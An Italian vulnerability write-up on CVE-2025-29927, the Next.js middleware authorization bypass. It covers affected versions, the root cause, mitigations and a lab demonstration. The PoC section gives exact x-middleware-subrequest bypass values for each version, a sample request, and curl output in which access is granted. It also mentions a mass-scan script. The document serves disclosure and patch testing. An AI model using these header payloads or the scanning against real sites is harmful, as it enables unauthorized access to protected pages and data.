CVE-2025-29927

Introduzione

Questo documento presenta un'analisi della vulnerabilità CVE-2025-29927, che riguarda il meccanismo Middleware nel framework Next.js.
Next.js è un popolare framework open-source di Vercel per lo sviluppo di applicazioni basate su React. Supporta il rendering lato server, la generazione statica e un flessibile sistema di middleware, utilizzato per routing, reindirizzamenti, header di sicurezza e controllo degli accessi.

Nel marzo 2025 è stata identificata una vulnerabilità critica CVE-2025-29927, legata alla gestione dell'header interno delle sotto-richieste.
Il problema consiste nella possibilità di aggirare i controlli di autorizzazione nelle applicazioni in cui il controllo degli accessi è implementato proprio nel middleware, inserendo un valore speciale nell'header HTTP x-middleware-subrequest. Se la sicurezza è affidata solo al middleware, un attaccante può ottenere accesso a rotte o dati protetti.

Versioni di Next.js interessate e correzioni (secondo fonti pubbliche e materiali ufficiali):

• 11.1.4 ≤ versione < 12.3.5
• 13.0.0 ≤ versione < 13.5.9
• 14.0.0 ≤ versione < 14.2.25
• 15.0.0 ≤ versione < 15.2.3

Le correzioni sono disponibili nelle release 12.3.5 / 13.5.9 / 14.2.25 / 15.2.3.

Next.js è ampiamente utilizzato in produzione; una vulnerabilità che colpisce il layer middleware (spesso usato per autenticazione/autorizzazione e policy di sicurezza) comporta un elevato rischio pratico.

Obiettivo del report

Analizzare passo dopo passo la vulnerabilità e documentare l'intero ciclo di ricerca:

Raccolta e strutturazione dei materiali.
Sistematizzare le fonti pubbliche relative a CVE-2025-29927; esporre la natura del difetto, le condizioni di attivazione e le versioni/patch confermati.

Determinazione delle CPE e delle condizioni di configurazione.
Fornire un elenco di CPE/versioni e descrivere le configurazioni in cui la vulnerabilità è riproducibile (ad esempio, deployment self-hosted e autorizzazione a livello di middleware).

Dimostrazione sicura.
Preparare una demo riproducibile in un ambiente di test (senza azioni distruttive), che confermi l'aggiramento del middleware nelle versioni vulnerabili.

Metodologie di verifica su larga scala.
Descrivere e implementare tre approcci sicuri:

• nuclei (modalità attiva con impatto minimizzato),
• nuclei (modalità passiva basata su versioni/indicatori indiretti),
• script personalizzato in Python/Go (verifica attiva multithread su host di test).

Essenza della vulnerabilità

• Causa principale. In Next.js, l'header interno x-middleware-subrequest viene utilizzato per tracciare le sotto-richieste interne e prevenire la ricorsione nel middleware. Nei rami vulnerabili, i client esterni possono inserire questo header con un valore «atteso» e il runtime salta l'esecuzione del middleware, inoltrando la richiesta direttamente all'handler della rotta.

• Ruolo dell'header. L'header x-middleware-subrequest era stato originariamente concepito come indicatore interno del fatto che la richiesta HTTP corrente fosse stata avviata dal framework stesso come sotto-richiesta intermedia, e non arrivata direttamente dall'utente.
  Serve per il corretto funzionamento dei meccanismi interni di Next.js: oltre al routing, questo flag aiuta a evitare la ricorsione infinita, «marcando» ogni layer intermedio invocato.
  Ma è proprio questa logica a creare un involontario buco nella protezione: un client che aggiunge autonomamente tale header può indurre il sistema a trattare la propria richiesta come interna e quindi aggirare i controlli di autorizzazione.

• Evoluzione della logica.

  • Nelle versioni precedenti, l'header viene interpretato come un elenco di valori separati da due punti e il meccanismo lo confronta con il nome/percorso del middleware attivo.
  • Nei rami più recenti è stata aggiunta una protezione contro la ricorsione infinita sotto forma di contatore di profondità; al raggiungimento della soglia (default 5), anche il middleware viene saltato. Questo meccanismo può essere ingannato se l'header viene formato «come se» la catena di sotto-richieste avesse già esaurito il limite.

Impatto

• Riservatezza e integrità. Accesso non autorizzato a pagine o API protette quando il controllo degli accessi è implementato solo a livello di middleware; possibile modifica dei dati tramite endpoint protetti.
• Disponibilità. Effetti collaterali come il cache poisoning possono causare una memorizzazione nella cache errata e un degrado della disponibilità in alcune configurazioni.

CPE e condizioni di configurazione

CPE ufficiali (CPE 2.3)

Le attuali registrazioni NVD indicano il prodotto Vercel Next.js con software target node.js. Per i rami vulnerabili si applicano le seguenti configurazioni (gli intervalli di versione sono definiti a livello di configurazioni CPE in NVD):

Nota: nella descrizione della CVE viene inoltre indicato che, in generale, «dalla 11.1.4 fino a 12.3.5 / 13.5.9 / 14.2.25 / 15.2.3» la vulnerabilità è riproducibile al verificarsi delle condizioni seguenti.

Condizioni di rilevanza in ambiente di produzione

• Il controllo degli accessi (autenticazione/autorizzazione) è implementato nel middleware e non è duplicato negli handler/backend.
• Deployment self-hosted (ad esempio, next start, build con output: 'standalone') o qualsiasi ambiente in cui il middleware viene eseguito sulle richieste in ingresso senza filtraggio perimetrale degli header interni.
• Assenza di sistemi esterni che scartino le richieste degli utenti con x-middleware-subrequest (ad esempio, regole WAF).

Meccanismo interno di x-middleware-subrequest

Per evitare una ricorsione infinita del codice intermedio, il runtime genera e legge un header interno:

1. Il valore dell'header viene interpretato come una stringa con elementi separati da due punti : — si ottiene un array di «sotto-richieste».
2. Successivamente il runtime verifica:
   • se il nome/percorso del middleware corrente è presente in questo array (nei rami precedenti ciò portava a un salto immediato tramite NextResponse.next()),
   • oppure se è stata raggiunta la profondità massima di ricorsione (nei rami più recenti viene applicato un limite, di default 5), e in tal caso anche il middleware viene saltato.
3. Per proteggersi dalla contraffazione, nelle patch è stato aggiunto un identificativo di sotto-richiesta separato (x-middleware-subrequest-id), associato alla sessione corrente del processo; se non corrisponde, l'x-middleware-subrequest in ingresso viene cancellato lato server.

Metodo di sfruttamento

Un attaccante invia una richiesta HTTP all'applicazione Next.js target, aggiungendo l'header interno x-middleware-subrequest.
Nel valore viene indicato il percorso del file middleware, ad esempio pages/_middleware, middleware o src/middleware.
Il valore necessario dipende dalla versione di Next.js utilizzata e dalla struttura del progetto.

Quando tale richiesta raggiunge l'applicazione, la logica interna del framework la considera una sotto-richiesta interna e presuppone che il layer intermedio sia già stato eseguito.
Di conseguenza, i controlli di autenticazione e autorizzazione che normalmente avvengono nel middleware vengono di fatto saltati.

PoC / Exploit

Importante: questo materiale è fornito esclusivamente per verificare la patch e simulare il rischio in un ambiente di test chiuso.
Qualsiasi verifica in infrastrutture di produzione è possibile solo con il permesso del proprietario delle risorse.

Principio generale

Next.js utilizza l'header interno x-middleware-subrequest per contrassegnare le sotto-richieste interne e prevenire l'esecuzione ricorsiva del middleware.
Durante l'elaborazione della richiesta, il valore dell'header viene suddiviso in base al carattere : e confrontato con il nome del middleware corrente.
Nelle versioni più recenti è stato aggiunto un limite di profondità (MAX_RECURSION_DEPTH, di solito 5).
Se la condizione (corrispondenza del nome o raggiungimento del limite) è soddisfatta, Next.js salta il middleware e inoltra la richiesta oltre.
Un attaccante può costruire un valore di header corretto simulando una sotto-richiesta interna.

Sfruttamento per versione

1️⃣ Versioni fino alla 12.2: Pages Router e _middleware.*

• I file middleware erano denominati _middleware.js/ts e si trovavano nella directory pages/.
• Il valore dell'header deve corrispondere al percorso del file, ad esempio: x-middleware-subrequest: pages/_middleware

2️⃣ Versioni 12.2 – 13.0.0: middleware.* root

• Dalla versione 12.2 il trattino basso nel nome è stato rimosso: il file è diventato middleware.js/ts.
• Può trovarsi nella root del progetto o nella root della directory /src.
• Per aggirare il middleware si utilizza l'header: x-middleware-subrequest: middleware o x-middleware-subrequest: src/middleware

3️⃣ Versioni 13.x e successive: limite di profondità della ricorsione

• È stato aggiunto un controllo di profondità: il valore dell'header viene suddiviso per :, e se il numero di ripetizioni del nome del middleware è ≥ 5,
  Next.js considera raggiunta la condizione di ricorsione e salta il middleware tramite NextResponse.next().
• Per l'attacco, l'header viene formato così: x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware o x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware

Particolarità in Next.js 15.x

Nelle release 15.x gli sviluppatori hanno rielaborato la logica per prevenire chiamate ricorsive infinite.
Quando il middleware viene attivato su un percorso (ad esempio, /api/*), Next.js riceve un altro URL che attiva anch'esso lo stesso middleware.
Il framework conta il numero di attivazioni tramite l'header x-middleware-subrequest.
Se il numero di chiamate raggiunge la soglia impostata (MAX_RECURSION_DEPTH, di default 5), le chiamate successive al middleware vengono bloccate.
Un attaccante può sfruttare questo comportamento indicando in anticipo nell'header un valore con il numero appropriato di ripetizioni, raggiungendo così artificialmente il limite di profondità — di conseguenza il middleware viene completamente saltato.

Esempio di richiesta

per i rami precedenti, il valore dell'header viene scelto secondo le varianti sopra indicate

GET /admin/dashboard HTTP/1.1
Host: <TEST-HOST>
User-Agent: <YOUR-LAB-CLIENT>
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

Perché funziona

x-middleware-subrequest è stato progettato come meccanismo interno per prevenire la ricorsione infinita.
Ma nelle versioni vulnerabili mancava il filtraggio delle richieste esterne: un client poteva falsificare l'header,
soddisfare la condizione di salto (corrispondenza del nome o raggiungimento del limite di profondità)
e accedere direttamente all'handler della rotta protetta.

Avvio dell'ambiente di test

git clone https://github.com/iteride/CVE-2025-29927.git
cd CVE-2025-29927/nextjs/
npm install
npm run dev

Test:

(l'esempio si basa su Next.js 15.2.2; per altri rami scegliere il valore dell'header secondo la tabella nella sezione PoC)

1. Richiesta standard:

curl -I http://localhost:3000
HTTP/1.1 307 Temporary Redirect
location: /403
Date: Mon, 22 Sep 2025 16:36:15 GMT
Connection: keep-alive
Keep-Alive: timeout=5

2. Richiesta con l'header x-middleware-subrequest:

curl -I -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000
HTTP/1.1 200 OK
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch, Accept-Encoding
link: </_next/static/media/4cf2300e9c8272f7-s.p.woff2>; rel=preload; as="font"; crossorigin=""; type="font/woff2", </_next/static/media/93f479601ee12b01-s.p.woff2>; rel=preload; as="font"; crossorigin=""; type="font/woff2", </_next/static/css/app/layout.css?v=1758558988609>; rel=preload; as="style"
Cache-Control: no-store, must-revalidate
X-Powered-By: Next.js
Content-Type: text/html; charset=utf-8
Date: Mon, 22 Sep 2025 16:36:28 GMT
Connection: keep-alive
Keep-Alive: timeout=5

Raccomandazioni per la protezione

• Aggiornate Next.js almeno alle versioni 12.3.5 / 13.5.9 / 14.2.25 / 15.2.3.
• Se l'aggiornamento viene rimandato, filtrate o scartate l'header esterno x-middleware-subrequest a livello di WAF/proxy.
• Ripetete i controlli critici di autorizzazione negli handler API, non solo nel middleware.

Template Nuclei per il test

• Questo template combina verifica passiva e attiva delle applicazioni Next.js.
• Analizza passivamente header e redirect per individuare segni di Next.js e possibili comportamenti del middleware.
• Testa attivamente l'aggiramento del middleware utilizzando un header X-Middleware-Subrequest appositamente formato.
• Utilizza più payload, aumentando la probabilità di rilevare la vulnerabilità — circa il 60% in condizioni di test standard.

⚠️ Attenzione: il template è destinato esclusivamente al test su obiettivi propri o autorizzati. L'utilizzo su servizi di terze parti senza il consenso dei proprietari è illegale.

Script per test su larga scala

• Lo script supporta il multithreading, consentendo di scansionare rapidamente un gran numero di servizi e percorsi.
• Supporta l'input di elenchi di target e percorsi tramite file.

python3 scan.py --targets-file TARGETS_FILE --paths-file PATHS_FILE --threads THREADS